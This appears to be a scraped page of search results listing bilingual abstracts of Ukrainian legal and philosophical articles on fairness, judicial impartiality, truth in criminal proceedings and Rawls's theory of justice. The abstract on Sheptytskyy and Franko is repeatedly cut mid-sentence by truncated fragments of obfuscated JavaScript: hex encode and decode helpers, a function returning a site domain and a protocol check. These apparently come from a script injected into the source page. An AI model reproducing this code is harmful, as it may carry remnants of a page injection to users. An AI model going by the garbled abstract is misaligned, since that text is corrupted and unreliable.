Suchergebnisse

The article is devoted to the research of scientific approaches to defining the essence of fairness and its normative fixing as a category of criminal procedural law. It is found that in philosophical studies distinguish formal, substantive and procedural justice. In philosophy of law distinguishes: fairness as equality of opportunity, fairness distributive and revengeful fairness. In criminal proceedings fairness is used in such contextual meanings: as the purpose (task) of criminal proceedings, as the principle of criminal proceedings, as a subjective right to a fair trial, as a requirement to a judicial decision, as an accordance of punishment, as a requirement to the characteristic of a jury. It is substantiated that the fairness of criminal proceedings is both its purpose and its task. Fairness is that reference point, to achieve which criminal proceeding is initiated, and the task of criminal proceedings is to follow a fair procedure. It is determined that the general law principle of fairness extends to criminal procedural law, taking on its own specificity, due to the peculiarities of criminal procedural relations. Fairness is a separate and self-sufficient principle of criminal proceedings. It is established that the subject of criminal procedural regulation is the fairness of the criminal procedural form, not punishment. It is substantiated that in the criminal procedural legislation fairness is applied in the following meanings: as a moral and ethical requirement for the characteristics of a person, as a requirement of substantive law (justice of punishment appointed by a court), as a requirement to the procedural form (compliance with the fair procedure of processual actions and making procedural decisions). Fairness as a requirement to a procedural form is also multidimensional: it is the purpose (task) of criminal proceedings, the principle of criminal proceedings, and the procedural right of a person (right to a fair trial). ; Стаття присвячена дослідженню наукових підходів до визначення сутності справедливості та її нормативного закріплення як категорії кримінального процесуального права. З'ясовано, що у філософських дослідженнях виділяють формальну, змістову й процедурну справедливість. У філософії права розрізняють справедливість як рівність можливостей, справедливість розподільчу та справедливість відплатну. У кримінальному процесі справедливість уживається в таких контекстних значення: як мета (завдання) кримінального провадження, як засада кримінального провадження, як суб'єктивне право на справедливий судовий розгляд, як вимога до судового рішення, як відповідність покарання, як вимога до характеристики присяжного. Обґрунтовано, що справедливість кримінального провадження є як його метою, так і завданням. Справедливість є тим орієнтиром, задля досягнення якого розпочинається кримінальне провадження, а завданням кримінального провадження є дотримання справедливої процедури. Визначено, що загальноправовий принцип справедливості поширюється на кримінальне процесуальне право, набуваючи своєї специфіки, зумовленої особливостями кримінальних процесуальних правовідносин. Справедливість є окремою та самодостатньою засадою кримінального провадження. Установлено, що предметом кримінального процесуального регулювання є справедливість кримінальної процесуальної форми, а не покарання. Обґрунтовано, що в кримінальному процесуальному законодавстві справедливість уживається в таких значеннях: як морально-етична вимога до характеристики особи, як вимога матеріального права (справедливість покарання, що призначається судом), як вимога до процесуальної форми (дотримання справедливої процедури проведення процесуальних дій і прийняття процесуальних рішень). Справедливість як вимога до процесуальної форми також є багатоаспектною: є метою (завданням) кримінального провадження, засадою кримінального провадження та процесуальним правом особи (право на справедливий судовий розгляд).

The article analyzes an impartiality of the court as an integral element and means of realization of impartial court goals. It is emphasized, that one of the factors, that positively influences the formation of public opinion on judicial power and judges clearly is impartiality of judges. As impartial hearings and solutions of legal cases is one of key responsibilities of every judge, and also a part of a judge oath - a violation of which are considered to be actions that can create doubt about his impartiality and that can undermine public trust in judicial power as a whole. The article studies the essence of judges impartiality and defining its key criteria with consideration of international law, national law and the case law of the European Court of Human Rights. It is noted that European Court of Human Rights has many years of case law on the matter if national court was impartial with regard to paragraph 1 of article 6 of Convention for the protection of human rights and fundamental freedoms during certain hearing. Paragraph 1 of article 6 of Convention demands that "court" must be impartial. As a rule, impartiality means an absence of partiality, with its presence or absence being available for checking in many ways. So, a meaning and manifestation of impartiality are usually removed from legal frame of impartiality, which has separate criteria on providing advantage to a party, based on European Court case law. It is stating facts of impartiality and acknowledgement of Convention rules violation on this basis that is the foundation of the European Court case law. Furthermore, according to case law of the European Court of Human Rights the presence of impartiality according to paragraph 1 of article 6 of Convention for the protection of human rights and fundamental freedoms is defined by objective and subjective criteria. European in its rulings shows the difference between objective approach, which is figuring out if a judge was given sufficient guarantees to exclude reasonable doubt in this regard, and a subjective approach, that is checking if a certain judge has an accusation or an interest in a certain case. The article also analyzes example cases that showcase the lack of court impartiality: first, of functional nature applies, for example, to execution of different functions in one judicial case by the same person, or hierarchy or other relations between him and another person; second one has personal nature and is a consequence of a judge behavior in a particular case. Based on the analysis it is concluded that impartiality is a key judge charachteristic, main feature of judicial power and the basis of judicial process, and it is considered an obvious fact. Court impartiality may mean its operation exclusively based on actual law, including Rule of Law principle, based on professional knowledge and legal conscience, excluding any outside influence and control. Impartiality itself as a property of just judicial procedure means equal court attitude to case parties, and a solution of cases by neutral and impartial professional without providing an advantage to a party. Such state of things can really provide the right of every person for a just judicial process and be a standard of legal proceedings in a democratic constitutional state. ; У статті розглядається безсторонність (неупередженість) суду як невід'ємний елемент та міра реалізації завдань справедливого суду. Зауважується, що одним із чинників, що позитивно впливає на формування громадської думки щодо судової влади та суддів безумовно, є безсторонність (неупередженість) суддів. Адже безсторонній розгляд і вирішення судових справ - один із головних обов'язків кожного судді, а також складова частина присяги судді, порушенням якої визнається, зокрема, вчинення суддею дій, що можуть викликати сумнів у його неупередженості та підірвати довіру до судової влади в цілому з боку громадськості. Статтю присвячено дослідженню сутності безсторонності суддів та визначенню її основних критеріїв з огляду на міжнародні норми, норми національного законодавства, а також практику Європейського Суду з прав людини. Зазначається, що в Європейському Суді з прав людини напрацьована багаторічна практика щодо з'ясування того, чи був національний суд, розглядаючи конкретну справу, безсторонннім у розумінні п. 1 ст. 6 Конвенції про захист прав людини та основоположних свобод. Так, п. 1 ст. 6 Конвенції вимагає, щоб «суд», що підпадає під його дію, був неупередженим. Як правило, неупередженість означає відсутність упереджень або упередженості, при цьому її наявність або відсутність можуть бути перевірені різними способами. Отже, сенс і прояви безсторонності прийнято виводити з оцінок правового поняття «упередженість», яке має окремі усталені практикою Європейського Суду критерії, пов'язані з наданням переваг одній зі сторін спору. Саме на констатації фактів упередженості і на цій основі визнання порушень правил Конвенції про справедливий суд побудована прецедентна практика Європейського Суду. Крім того, відповідно до усталеної практики Європейського Суду з прав людини наявність безсторонності відповідно до п. 1 ст. 6 Конвенції про захист прав людини та основоположних свобод повинна визначатися за об'єктивним та суб'єктивним критеріями. Європейський Суд у своїх рішеннях проводить відмінність між об'єктивним підходом, тобто визначенням, чи були судді надані достатні гарантії, щоб виключити будь обґрунтовані сумніви в цьому відношенні, та суб'єктивним підходом, тобто прагненням переконатися в суб'єктивному обвинуваченні або інтересі певного судді у конкретній справі. У статті також проаналізовані приклади випадків, у яких може постати питання щодо недостатньої безсторонності суду: перший, функціонального характеру, стосується, наприклад, виконання однією особою різних функцій в межах судового провадження, або ієрархічні чи інші зв'язки між цією та іншою особою в межах того ж провадження; другий має особистий характер і є наслідком поведінки судді у даній справі. На підставі проведеного аналізу зроблено висновок, що безсторонність є ключовою характеристикою судді, головною ознакою судової влади та основою судового процесу і вважається очевидним фактом. Безсторонність суду має означати його діяльність виключно на основі чинного законодавства, враховуючи принцип верховенства права, на підставі професійних знань і власної правосвідомості, виключаючи будь-який сторонній вплив і підконтрольність. Власне безсторонність як ознака справедливого судового розгляду означає рівне ставлення суду до учасників, вирішення спору як нейтральним і безстороннім фахівцем без надання комусь переваг. Саме такий стан речей зможе реально забезпечити право кожної особи на справедливий судовий процес та слугувати стандартом організації судочинства у правовій демократичній державі.

The phenomenon of "fairness" as the fundamental category in contemporary philosophy, ethics, axiology, philosophy of politics, political ethics, philosophy of law, is conceptualized on the basis of cultural, politico-cultural, linguistic, comparative approaches. Its social philosophical deconstruction in the paradigm of the classical model of international relations is carried out. It is shown that this model provides for the formulation of equitable approaches to enable all the representatives of the international community is equivalent positions to build their own lives, taking into account the cultural traditions, mentality, nuances of national economy and education. ; Феномен справедливості, являючись фундаментальною категорією в сучасній філософії, етиці, аксіології, філософії політики, політичній етиці, філософії права, концептуалізується на основі підходів – соціокультурного, політико-культурного, лінгвістичного, компаративного, Здійснюється його соціально-філософська деконструкція в парадигмі класичної моделі міжнародних відносин. Показано, що саме така модель передбачає вироблення справедливих підходів, що дозволять усім представникам міжнародного співтовариства рівноцінно вибудовувати власне життя, враховуючи культурні традиції, особливості менталітету, нюанси національної економіки та освіти.

A fair balance, particularly in intellectual property law, is in fact the main purpose of legal régulation. And since the law (and legislation) is a developing, open, dynamic system, it spontaneously or consciously there are moments of inconsistency or imbalance, which are identified and to some extent eliminated. At the same time, in the conditions of hyperdynamic development of information space and control technologies, it should be as flexible as possible. In particular, balance of interests of the subjects of intellectual property rights can be ensured by giving them equal opportunities to realize these interests. In this case, the static balance of interests clearly can not be the optimal form of balancing interests of the subjects of intellectual property rights, because in certain circumstances it is objectively necessary to establish the priority of one interest over another. Ensuring a balance of interests is also a key goal of justice. Therefore, one of the ways to establish the optimal balance of interests in the field of intellectual property can be recourse to case law, in particular the case law of the European Court of Human Rights, as one of the meta-ideas underlying most legal positions of the ECtHR is the idea of balance of interests. Since the law cannot cover all relations (for quantitative, qualitative and economic reasons), principles come to the rescue, in particular the principle of fairness and the principle of proportionality, in the light of which conflicts of interest must be resolved. In each situation, the ECtHR examines the extent to which the public authorities have struck a fair balance between interests of society and the requirements of protecting the private interests of the individual. The relevance and necessity of legal restrictions means that the size (scope) of the public law restriction itself should be differentiated depending on the specific circumstances. As for the approach to the protection of intellectual property rights in general, it is noteworthy that the approach of the ECtHR does not differ from its usual approach: it considers and reconciles different rights and interests and assesses the necessity and proportionality of interference with a right protected by the Convention. ; Справедливий баланс, зокрема у праві інтелектуальної власності, фактично є основною метою правового регулювання. А оскільки право (й законодавство) є відкритою, динамічною, такою, що розвивається, системою, то в ньому спонтанно або свідомо виникають моменти неузгодженості, або дисбалансу, які виявляються й тією чи іншою мірою усуваються. Водночас в умовах гіпердинамічно-го розвитку інформаційного простору та технологій регулювання має бути максимально гнучким. Зокрема, баланс інтересів суб'єктів права інтелектуальної власності може забезпечуватись наділенням їх рівними можливостями для реалізації цих інтересів. Водночас статична рівновага інтересів однозначно не може бути оптимальною формою збалансування інтересів суб'єктів права інтелектуальної власності, оскільки за певних обставин об'єктивно необхідно встановлювати пріоритет одного інтересу над іншим. Також забезпечення балансу інтересів є однією із ключових завдань правосуддя. Тому одним зі способів установлення оптимального співвідношення інтересів у сфері інтелектуальної власності може слугувати звернення до судової практики, зокрема практики Європейського суду із прав людини, оскільки однією з метаідей, котрі лежать в основі більшості правових позицій ЄСПЛ є ідея балансу інтересів. Оскільки право не може охопити своїм регулюванням усі відносини (через кількісні, якісні та економічні причини), на допомогу приходять принципи, зокрема принцип справедливості та принцип пропорційності, зважаючи на які й повинні вирішуватись конфлікти інтересів. ЄСПЛ у кожній ситуації досліджує, наскільки було дотримано державною владою справедливий баланс між інтересами суспільства й вимогами захисту приватних інтересів окремої особи. Доречність та необхідність правових обмежень означає, що розмір (обсяг) самого публічно-правового обмеження має бути диференційований, залежно від конкретних обставин. Щодо підходу до захисту прав інтелектуальної власності загалом, показово, що підхід ЄСПЛ не відрізняється від його звичайного підходу: він розглядає й погоджує різні права та інтереси та оцінює необхідність і пропорційність утручання у здійснення певного права, захищеного Конвенцією.

«The Theory of Justice» by John Rawls, being an «unfinished project», undergoes significant transformations related both to the general «postmodern situation» and to the political and economic processes of globalization, which determine the relevance of this article. The influence of socio-cultural, political and economic transformations of the late twentieth and early twenty-first centuries of Rawls׳ ideas was characterized in the article. The paper considers the changed context which is subjected to the influence of the political and economic processes of globalization. It is established that what is now called the «After Rawls» in Western theory reveals the following main areas of research: new interpretations of Rawls' fundamental concepts, the continuation of his dialogue with other scientific schools and the expansion of his political philosophy in the direction of both Western context and other national contexts of recent decades. The paper has also established that since we live in a world in which sex is always considered to be one of the most obvious reasons for establishing the legitimacy of various rights and restrictions and justice theory in its essence decides whether it is possible to treat people in different ways and why the appeal of the gender researchers to modern theories of justice is quite natural. The analysis of leading directions is presented: libertarianism, socialism, communitarianism, feminism. The article reveals that in this analysis with all the indicated differences – the general tendency is traced as for interpret in justice as a requirement of respect for the dignity of all people as free, equal, rational and moral individuals. The analysis of the works of scientists who represent a significant development of the ideas of classical Western philosophy has shown that those ideas dominate today in Western theories of justice. The article also reveals that at the beginning of the 21st century while developing a theory that includes women's experience and referring to issues associated with femininity gender researchers argue that at the level of generalizations feminist epistemology represents attempts of many oppressed groups to restore the value of their experience, thus achieving justice. The article notes that in the fundamental work of Rawls there is almost no indication that the modern liberal society, to which the principles of justice under discussion should be applied, is gender structured at all levels and in all spheres. ; Концепции социальной справедливости являются, по-прежнему, дискуссионными в современной науке; именно поэтому исследование справедливости в её постмодернистских аспектах, данных в этой статье, является валидным и актуальным. Влияние социокультурных, политических и экономических трансформаций конца ХХ – начала ХХI вв. на рецепцию идей Джона Ролза является предметом спорных аргументов в работах ведущих теоретиков: Насбаум, Оукин, Поджи, Иглтона, Миллера, Фукуямы, Хомски, Сэндела, Нильсена и др. С другой стороны, публикации последних лет по проблеме справедливости ярко демонстрируют, что феномен справедливости охватывает отчетливо постмодернистские тенденции. Утверждается, что два основных направления исследований в западной теории периода «After Rawls» акцентируют внимание на том, что работы Ролза строятся на консервативных и анти-космополитических положениях, что его эгалитарная доктрина в национальных границах с минимальными обязанностями вне этих границ оказывается весьма нестабильной и проблематичной. С точки зрения гендерных исследователей доказывается, что принадлежность к полу всегда считалась и сегодня считается одним из самых очевидных оснований для установления законности различных прав и ограничений. Важно также то, что в теории Ролза отсутствуют указания на то, что современное либеральное общество гендерно структурировано. ; Концепції соціальної справедливості є, як і раніше, дискусійними в сучасній науці; саме тому дослідження справедливості в її постмодерністських аспектах, даних у цій статті, є дійсним і актуальним. Вплив соціокультурних, політичних та економічних трансформацій кінця ХХ – початку ХХI ст. на рецепцію ідей Джона Роулза є предметом суперечливих аргументів у роботах провідних теоретиків: Насбаум, Оукін, Поджі, Іглтона, Міллера, Фукуями, Хомскі, Сендела, Нільсена та інших. З іншого боку, публікації останніх років із проблеми справедливості яскраво демонструють, що феномен справедливості охоплює чітко постмодерністські тенденції. Стверджується, що два основних напрямки досліджень у західній теорії періоду «After Rawls» акцентують увагу на тому, що роботи Ролза будуються на консервативних і анти-космополітичних положеннях, що його егалітарна доктрина в національних кордонах із мінімальними обов'язками поза цими межами виявляється вельми нестабільною і проблематичною. З точки зору гендерних дослідників доводиться, що приналежність до статі завжди вважалася й сьогодні вважається однією з найбільш очевидних підстав для встановлення законності різних прав та обмежень. Важливо також те, що в теорії Ролза відсутні вказівки на те, що сучасне ліберальне суспільство гендерно структуроване.

У статті розглядаються вимоги, необхідні для функціонування ефективної та справедливої системи оцінки персоналу, а також заходи щодо вдосконалення такої системи. Можна вважати, що п'ять факторів ефективності охоплюють емоційні та когнітивні реакції працівника та передбачають як людські, так і безособистісні аспекти оцінювання, а також зручність використання інструментів.

This investigation is devoted to the conceptualization of the "unfair action" phenomenon; determination of mechanisms of its legitimation in international space. The article states that understanding of fairness in primitive society was associated with unconditional execution of certain rules, regulations. In ancient Greece, the concept of "benefit" was remotely equal to fairness. In public mind, the concept of "benefit" slowly converted into the demand for a punishment for the breach of a general rule. Over time, the model of benefit was converted into a more sophisticated practice of empowering people. It is described that Christian morality allowed the equality of all people before the God. Feudal morals laid the basic proportional fairness. The quintessence of this model was the "noble origin". In bourgeois society fairness provided legal equality of individuals in civil society. Gradually political, legal, economic, academic institutions were formed. Modern ethical debates are focused on theories of fairness within which individuals in their social life are seen as interconnected elements, both mutually needed and in that sense, equal to each other. Individuals, living in the community, form a whole, a society, with common goals and interests.In general, in a broad sense, unfairness is the folly of public life; it can be defined as the common denominator of all socially immoral disordered relations among people, as the last immoral-appeal instance in public affairs. It coincides with the immorality in its projection on the social sector; it is the lack of virtue in social institutions. ; Вступ. В даному дослідженні здійснюється концептуалізація феномена несправедливої дії, визначаються механізми її легітимі-зації в міжнародному просторі. Мета і завдання: однією з головних цілей роботи є вимірювання рівня легітимізації несправед-ливих дій в сучасному міжнародному соціумі. Методологія дослідження: автор застосовує філософсько-правовий підхід, оскі-льки ця проблема недостатньо висвітлена у філософії права. ...

The problem of fairness in the context of the dialogue between A. Sheptytskyy and S. Franko is studied in the research. Metropolitan`s points of view upon the issue of fairness in the aspect of the Law of the God, human natural rights, moral and conscience and the points of view of I Franko from social democratic opinion are analyzed. Metropolitan`s thoughts are based on the ideas of Thomas Aquinas. The very idea of fairness is essential for the God and appears itself in that the one gains what belongs to him. A. Sheptytskyy realized the impossibility of solving it through the social revolutions. It only can be solved through the conscience of the human being. I. Franko stood upon the particulary understanding of fairness and defined it from the position of masses populairis, not from the positions of society integral body. The phenomenon of fairness is proved to be complex and to have religious, philosophic, moral, social, political dimensions// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e ; В статье исследована проблема справедливости в контексте диалога между Митрополитом Андреем Шептицким и Иваном Франком. Проанализированы взгляды Митрополита на проблему справедливости с позиции Закона Божего, природных прав человека, морали и совести и И. Франка с социал-демократической позиции. Обосновано, что феномен справедливости многогранный, имеет религиозное, философское, моральное, социально-политическое измерение// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e ; У статті досліджено проблему справедливості в контексті діалогу між Митрополитом Андреєм Шептицьким та Іваном Франком. Проаналізовано погляди Митрополита на проблему справедливості з позиції Закону Божого, природних прав людини, моралі та совісті й І. Франка із соціал-демократичної позиції. Доведено, що феномен справедливості багатогранний, має релігійні, філософські, моральні,соціально-політичні виміри// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

The article provides a comprehensive analysis of the concepts of truth and their legislative implementation in the criminal proceedings of the common law and continental law systems on the example of the United States of America as a basic representative of the Anglo-American (common) law system, as well as the Federal Republic of Germany, the French Republic and Ukraine as typical representatives of the Romano-Germanic (continental) law system.The author's analysis of the legislation regulating the criminal proceedings of foreign states, including both representatives of the continental law system, characterized by a mixed type of procedure, and the common law system with its adversarial model, gives the possibility and grounds for the author to state that none of them refuses the idea of establishing truth in the criminal proceedings.Pursuant to the results of the research conducted, it is substantiated that the dominant for the criminal proceedings in the states of the continental law system is the classical understanding of truth, objectified in the concept of substantive (objective) truth. In turn, the common legal system is characterized by the concept of formal (legal, judicial) truth, which rejects the idea of substantive truth based on the theory of correspondence. ; Проведено комплексний аналіз концептів істини та їх законодавчої реалізації у кримінальному провадженні в англо-американській та романо-германській правовій сис-темах на прикладі, відповідно, Сполучених Штатів Америки як базового представника англо-американської (загальної) правової системи, а також Федеративної Республіки Німеччини, Французької Республіки та України як типових представників романо-гер-манської (континентальної) правової системи.Виконаний автором аналіз законодавства, яке регламентує кримінальне прова-дження інших держав, при цьому як представників романо-германської (континентальної) правової системи, для якої характерним є змішаний тип процесу, так і англо-амери-канської (загальної) правової системи, зі змагальною моделлю ...

The article highlights the issue of truth as one of the objectives of criminal proceedings in the Federal Republic of Germany in relation to fairness and legal stability. It is stated that the understanding of truth as objective of the criminal procedure directly derives from the functional orientation of the latter: in particular, the general function of criminal proceedings is to provide the enforcement of a substantive criminal law, which, in turn, requires that criminal procedure be inevitably aimed at establishing material truth.An exhaustive analysis of the principle of the establishment of material truth (also known as «inquisitorial principle», «instructional principle», «investigatory principle», or «the principle of establishing material truth») in the criminal procedure of the Federal Republic of Germany, its essence, meaning and a normative basis in the criminal procedural legislation of the Federal Republic of Germany, as well as its further development in the case law, including decisions of the Federal Constitutional Court and the Federal Court of Justice, is carried out. It is noted that in order to establish truth, the public prosecution shall investigate both aggravating and mitigating circumstances, as well as take measures aimed at preserving evidence that may be lost, and the court shall ex officio extend the examination of evidence to all facts and means of proof relevant to the decision in the case.In this connection, the procedural obligation of the court to establish material truth in the criminal proceedings, its content, scope and limits is characterized. Such a principle is implemented, first of all, by the presiding judge, conducting the trial and determining its course and direction. Therefore, if specific facts and circumstances are relevant in the course of a sentencing, the court is obliged to examine the corresponding evidence, even if the interested parties to the proceedings do not file a motion for it or object to it. Consequently, the particular importance of the trial stage to establish truth in the criminal proceedings in the Federal Republic of Germany is emphasized.In addition, the features of the judge's conviction and its importance for establishing truth in the criminal proceedings of the Federal Republic of Germany, as well as the requirements for its formation in the case law of the Federal Supreme Court, are considered.It is substantiated that the establishment of exceptionally true facts and circumstances in the case is not only a necessary basis for a lawful, just and fair court decision, but also a prerequisite for the implementation of the substantive criminal law of the Federal Republic of Germany, above all – the principle of liability exclusively in the presence of guilt. ; Висвітлено розуміння істини як мети кримінального провадження ФРН у взаємозв'язку зі справедливістю та юридичною стабільністю. Подано вичерпну характеристику засади встановлення матеріальної істини у кримінальному процесі ФРН, її суті, значення та нормативного закріплення у кримінальному процесуальному законодавстві ФРН. У зв'язку з цим проаналізовано процесуальний обов'язок суду встановити матеріальну істину у кримінальному провадженні, його зміст, обсяг та межі. Зроблено наголос на особливому значенні стадії судового розгляду для встановлення істини у кримінальному процесі ФРН. Окрім того, розглянуто особливості суддівського переконання та його значення для встановлення істини у кримінальному процесі ФРН, а також вимоги до його формування у практиці Федерального верховного суду. Аргументовано положення про те, що встанов­лення виключно істинних фактів та обставин у справі є не лише необхідною підставою для ухвалення законного, обґрунтованого та справедливого судового рішення, але й слугує передумовою для реалізації засад кримінального матеріального права ФРН, перш за все – принципу відповідальності тільки за наявності вини.

The article explores the activities of the European Court of Human Rights. In recent years, many papers have been published on the issue of defining the "standard of proof" and its implementation in national law. The content of the concept of "standard of proof" is explained in the article. Its nature is revealed. Its features are identified and constituent parts of this concept are provided. Its interdependence with the concept of "inner conviction" is substantiated. Criteria for establishing an 'standard of proof' are provided, such as: - the existence of a body that sets these 'standards'; - fixing certain requirements for the content of a certain "standard" in legislative acts; - compliance with these "standards" by other bodies, etc.; - punishment for failing to comply with the requirements of "standards". The activities of the European Court of Human Rights are analyzed. The basic principles of its activity are noted, which include: General principles: -the principle of the rule of law; - the principle of legality; - the principle of justice; - the principle of proportionality of intervention. Special principles include the following: - the principle of "least common denominator"; - the principle that there are no barriers to the inadmissibility of evidence or a pre-determined formula for evaluating it "; - the principle of proportionality; - the principle of discretion; - the principle of additionality; - the principle of effectiveness of the Convention; - the principle of autonomous understanding. It argues that it is impossible to speak of "standards of proof" in the European Court of Human Rights. Such concepts as "beyond reasonable doubt", "equality of arms", "weighing of opposing interests", "evaluation of the fairness of the process as a whole" the author reveals through the case law of the ECtHR, namely " Abu Zubaydah v. Lithuania"," Gäfgen v. Germany "," Imbrioscia v. Germany Switzerland "," Magee v. Switzerland the United Kingdom ». In addition, the content of these decisions is disclosed in ...

The article analyzes the concept, essence and significance of the principle of material truth in the Polish criminal proceedings. In this regard, the main provisions of the current Constitution and the Criminal Procedural Code of the Republic of Poland, highlighting the content of such a principle, as well as the relevant case law are characterized. Since it is unacceptable to seek to establish truth at any cost, particular attention is paid to possible limitations of the principle of material truth in criminal proceedings.Special emphasis is also placed on the implementation of the concept of material (objective) truth by the Polish legislator, opposed to formal (judicial) truth. Moreover, it is substantiated that the principle under analysis directly affects the entire system of the criminal procedure and constitutes its main and comprehensive purpose, regardless of the stage of the proceedings.In addition, it is highlighted that in recent years, the above-mentioned principle has become the object of special attention of the Polish legislator, who has set himself the aim of radically updating criminal procedural legislation in the direction of strengthening the guarantees of adversariality in the proceedings. Consequently, the article focuses on a comprehensive examination of the preconditions, essence and consequences of reforming criminal procedural legislation of Poland in 2013–2016 on the above-mentioned principle. In connection with it, the features of amendments to the Criminal Procedural Code and certain other laws of September 27, 2013 as well as of March 11, 2016 are considered. In this connection, it is stated that the first reform not only does not promote, but also hinders the establishment of material truth, as the limitation of the evidentiary initiative and activity of the court created a real threat of inconsistency between the factual conclusions made during the court proceedings and the objective reality.As a result, the research concludes that by the second reform, partially repealing the first one, Polish legislator significantly reduced the risk of making unjust procedural decisions by strengthening the guarantees of material truth as a prerequisite and basis for fairness in the criminal proceedings. Therefore, it is noted that it took the Polish legislator less than a year to realize and admit his own mistake, and most importantly, to correct it by restoring the previously existing provisions of the Criminal Procedural Code of Poland, aimed at comprehensive and full establishment of all circumstances of the case.Polish experience on this issue is considered to be important and useful for other states, including Ukraine, illustrating quite clearly the actual consequences and hidden threats of abandoning the concept of material truth in the criminal proceedings. ; Проаналізовано поняття, суть і значення засади матеріальної правди (істини) у польському кримінальному провадженні. У зв'язку з цим висвітлено основні положення чинних Конституції та Кримінального процесуального кодексу Республіки Польщі, які розкривають зміст зазначеної засади, а також відповідну судову практику. Оскільки непри-пустимо прагнути встановити істину будь-якою ціною, особливу увагу було зосереджено на можливих обмеженнях засади матеріальної правди у кримінальному провадженні. Також було наголошено на реалізації польським законодавцем концепту матеріальної (об'єктивної) істини, який протиставляється істині формальній (судовій). Додатково обґрунтовано поло-ження про те, що аналізована засада безпосередньо впливає на всю систему кримі-нального провадження та конституює основну і всеосяжну його мету, незалежно від стадії.Окрім того, у статті відображено вичерпну характеристику передумов, суті та наслідків реформ кримінального процесуального законодавства Польщі 2013–2016 років у частині зазначеної вище засади, з огляду на що розглянуто особливості змін до Кримінального процесуального кодексу та деяких інших законів від 27 вересня 2013 року та від 11 березня 2016 року. За результатами дослідження зроблено висновок про те, що частково скасу-вавши першу реформу, другою із них польський законодавець істотно зменшив ризик ухвалення несправедливих процесуальних рішень шляхом посилення гарантій реалізації засади матеріальної правди як передумови та основи справедливості у кримінальному судочинстві.

Zavalniuk I. V. PROCEDURAL AND LEGAL SPECIFICS OF DOGMATIC AND EMPIRICAL JUSTICEOF THE COURT: A CONSTITUTIONAL STUDYThe article examines the procedural and legal specifics of the dogmatic and empirical Justice of the court in theconstitutional sense. It is noted that the Constitution of Ukraine establishes the principle of equality of everyone not onlybefore the law, but also before the court. It is noted that the principle of procedural equality of the parties is such a rule,according to which the relevant (procedural legislation) ensures the equality of persons participating in the case whenapplying to the court, in providing equal opportunities for using procedural natural means of protecting their interestsin court. It is proved that a similar approach was developed within the framework of the "concept of a fair trial" in thefundamental acts of international law. It is determined that the understanding of the fairness of judicial proceedingsfrom the standpoint of the ECHR and the case-law interpretation of its provisions by the ECHR is related to the proceduralaspect of Justice. It is noted that the European Court of human rights developed the European standard of fair justice indetail in the case-law interpretations of the ECHR. It is stated that the fairness of the trial is essentially instrumentaland is designed to ensure the fairness of the court decision. In conditions of actual inequality of the parties, this goalbecomes ephemeral, because the actual adversarial nature of the process is possible only in conditions of legal and actualequality of the parties. It has been shown that by refusing to review a particular judicial decision in the applicant's case,the Constitutional Court can assess the general law enforcement practice of a particular norm, identify the constitutionalcontent of the relevant provisions, thereby influencing the adoption by Judicial and law enforcement authoritiesof decisions on the merits of the case. The constitutional and legal interpretation of legal norms given by the court isthe basis for reviewing the case on its merits by the relevant judicial authorities. It is determined that it is this powerthat allows the Constitutional Court to significantly correct the fairness of a court decision. It is concluded that theconstitutional right to judicial protection as a basic, inalienable human right, which acts as a guarantee of the realizationof all other rights and freedoms, is not only the right to appeal to a court, but also the right to the effective restorationof violated rights and freedoms by means of justice that meets the requirements of fairness. ; У статті досліджено процедурно-правову специфіку догматичної та емпіричної справедливості суду в конституційному розумінні. Зазначено, що Конституція України закріплює принцип рівності кожного не тільки перед законом, а й перед судом. Наголошено, що принцип процесуальної рівноcті сторін являє собою таке правило, відповідно до якого відповідним (процесуальним законодавством забезпечується рівність осіб, що беруть участь у справі, при зверненні до суду, в наданні рівних можливостей використання процесуальних природних засобів захисту своїх інтересів у суді. Обґрунтовано, що подібний підхід був вироблений і в рамках «Концепції справедливого суду» в основоположних актах міжнародного права. Визначено, що розуміння справедливості судового розгляду з позицій ЄКПЛ та прецедентного тлумачення її положень ЄСПЛ пов'язане з процедурним аспектом правосуддя. Зазначено, що детальну розробку європейський стандарт справедливого правосуддя отримав у прецедентних тлумаченнях ЄКПЛ Європейським Судом з прав людини. Констатовано, що справедливість судового розгляду по суті своїй є інструментальною і покликана забезпечити справедливість судового рішення. В умовахфактичної нерівності сторін ця мета стає ефемерною, адже дійсна змагальність процесу можлива лише в умовах юридичної та фактичної рівності сторін. Доведено, що, відмовляючи в перегляді конкретного судового рішення у справі заявника, Конституційний Суд може оцінювати загальну правозастосовну практику тієї чи іншої норми,виявляти конституційний зміст відповідних положень, тим самим впливаючи на прийняття судовими і правозастосовними органами рішень по суті справи. Дане Судом конституційно-правове тлумачення правових норм є підставою для перегляду справи по суті відповідними судовими органами. Визначено, що саме дане повноваженнядозволяє Конституційному Суду змістовно коригувати справедливість судового рішення. Зроблено висновок, що конституційне право на судовий захист як основне, невідчужуване право людини, яке виступає гарантією реалізації всіх інших прав і свобод, – це не тільки право на звернення до суду, а й право на ефективне відновлення порушених прав і свобод за допомогою правосуддя, що відповідає вимогам справедливості.

The article studies the issue of scientific and practical validity of applying ethical principles of society as regulatory factors of civil law of Ukraine. Taking into account the lack of validity of ethical principles of society as regulatory factors, the author attempts to make a correlation between the content of such principles of civil law as fairness, integrity and reasonableness, on the one hand, and ethical principles of the society, on the other hand.

The author of the paper proves that it is inappropriate to apply the provisions of morality as regulatory factors for the regulation of civil relations.

